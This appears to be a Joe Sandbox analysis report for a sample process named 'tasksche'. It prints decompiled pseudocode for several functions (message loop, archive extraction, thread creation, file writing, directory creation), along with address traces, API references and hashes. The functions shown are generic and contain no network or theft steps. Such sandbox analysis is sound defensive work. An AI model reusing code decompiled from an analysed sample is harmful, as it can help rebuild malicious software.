0x00407b27
0x00407c44
0x00407c44
0x00407c48
0x00000000
0x00000000
0x00000000
0x00407c4a
0x00407b2d
0x00407b30
0x00407b37
0x00000000
0x00000000
0x00407b3d
0x00407b44
0x00407b48
0x00407b4d
0x00407b4f
0x00407b80
0x00407b80
0x00407b84
0x00000000
0x00000000
0x00407b8a
0x00407b8a
0x00000000
0x00407b8a
0x00407b51
0x00407b55
0x00000000
0x00000000
0x00407b7b
0x00000000
0x00407b7b
0x00407b0a
0x004079ea
0x004079ef
0x004079f1
0x004079ff
0x00407a02
0x00407a09
0x00407a0f
0x00407a14
0x00407a14
0x00000000
0x00407a09
0x004079f3
0x00000000
0x004079f3
0x004079ce
0x004079ce
0x00000000
0x004079ce
0x004079a0
0x004079a5
0x004079a7
0x00000000
0x00000000
0x004079a9
0x004079b0
0x00000000
0x004079b2
0x004079be
0x00000000
0x004079be
0x004079b0
0x0040796e
0x00407973
0x00000000
0x00000000
0x00000000
0x00407973
0x0040795e
0x00407965
0x00000000
0x00000000
0x00000000
0x00407965
0x0040793b
0x0040793f
0x00000000
0x00000000
0x00407941
0x00407948
0x0040794c
0x00000000
0x00000000
0x00000000
0x0040794c
0x004078ec
0x004078f1
0x00000000
0x004078f3
0x004078f3
0x00000000
0x004078f3
0x004078f1
0x004078ce
0x004078d4
0x004078d7
0x004078d9
0x00000000
0x00000000
0x00000000
0x004078d9
0x0040787a
0x0040787d
0x00407884
0x00000000
0x00000000
0x00407886
0x00407886
0x00000000
0x00407886
0x0040782b
0x00407831
0x00407834
0x00000000
0x00000000
0x00407836
0x0040783a
0x00000000
0x0040783c
0x0040783c
0x0040783e
0x00407840
0x00407840
0x00407843
0x0040785b
0x0040785d
0x00000000
0x0040785f
0x0040785f
0x00407868
0x00000000
0x00407868
0x0040785d
0x0040783a
0x004077b5
0x004077bb
0x00000000
0x00000000
0x004077bd
0x004077c4
0x00000000
0x00000000
0x00000000
0x004077c4
0x00407718
0x0040771b
0x0040773a
0x0040773a
0x0040773d
0x00000000
0x00000000
0x00407743
0x0040774a
0x00000000
0x00000000
0x0040775a
0x0040775f
0x00407761
0x00407786
0x00000000
0x00407763
0x0040776a
0x00000000
0x0040776a
0x00407761
0x0040771d
0x00407724
0x00000000
0x0040772a
0x00407735
0x00000000
0x00407735
0x00407724
0x004076e2
0x00407701
0x00407701
0x00000000
0x00407701
0x004076f3
0x00000000
0x004076f5
0x004076fc
0x00000000
0x004076fc

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x0040d14c
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1); // executed
				_t50 = E00401417(_t82, __edx); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x00411278
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNELBASE ref: 00411278
SetThreadPriority.KERNEL32(?,00000000,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

0x004126f7
0x004126fb
0x004126ff
0x00412706
0x00412706
0x0041270b
0x00412712
0x00412714
0x00412716
0x00412716
0x0041271f
0x00412727
0x0041272f
0x00412739
0x00412770
0x00412770
0x00000000
0x0041274d
0x00412754
0x00412758
0x00412774
0x0041277b
0x0041277c
0x00412785
0x0041278b
0x0041278e
0x00412790
0x004127c9
0x004127d0
0x00412837
0x00412837
0x0041283e
0x00000000
0x00412844
0x004127d8
0x004127e4
0x0041281f
0x0041281f
0x00412825
0x00412827
0x00412829
0x0041282b
0x0041282c
0x00412831
0x00412832
0x00412835
0x00000000
0x00412835
0x004127e8
0x004127ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004127f1
0x004127f1
0x004127fa
0x004127ff
0x00412802
0x00412813
0x00412814
0x00412817
0x00000000
0x004127f1
0x00412792
0x00412796
0x00000000
0x004127a0
0x004127a0
0x004127a6
0x004127a8
0x004127aa
0x004127ac
0x004127ad
0x004127b2
0x004127b5
0x004127bd
0x004127c2
0x00000000
0x004127c2
0x00412796
0x0041277e
0x00000000
0x0041277e
0x0041275a
0x0041275d
0x0041276b
0x00000000
0x0041276b
0x00412739
0x0041272f
0x00412848

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 4.6, APIs: 3, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				long _t34;
				int _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				long _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t68 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 = WriteFile( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

0x00408aa9
0x00408aac
0x00408ab2
0x00408ab4
0x00408ac1
0x00408acb
0x00408acb
0x00408ad0
0x00408ad0
0x00408ad2
0x00408ad4
0x00408ada
0x00000000
0x00000000
0x00408adf
0x00408b40
0x00408b44
0x00408ba1
0x00408ba2
0x00408ba4
0x00408ba9
0x00408bab
0x00408b4c
0x00408b60
0x00408b9c
0x00000000
0x00408b9c
0x00408b62
0x00408b68
0x00408b76
0x00408b7c
0x00408b86
0x00408b8c
0x00408b8c
0x00000000
0x00408b68
0x00000000
0x00000000
0x00000000
0x00408ae1
0x00408ae1
0x00408ae4
0x00408ae6
0x00408aed
0x00408aef
0x00408aef
0x00408b01
0x00408b0c
0x00408b0e
0x00408b10
0x00000000
0x00000000
0x00408b12
0x00408b1b
0x00000000
0x00000000
0x00408b3c
0x00408b3e
0x00000000
0x00000000
0x00000000
0x00408b3e
0x00000000
0x00408b1f
0x00408b2d
0x00408b38
0x00408b3a
0x00000000
0x00408b3a
0x00408ad0
0x00408ab6
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?,?,00000001,?), ref: 00408AC5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?), ref: 00408B01
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t9;
				long _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t11 = GetLastError();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?), ref: 00409328
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?,?,004067A5), ref: 00409341

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
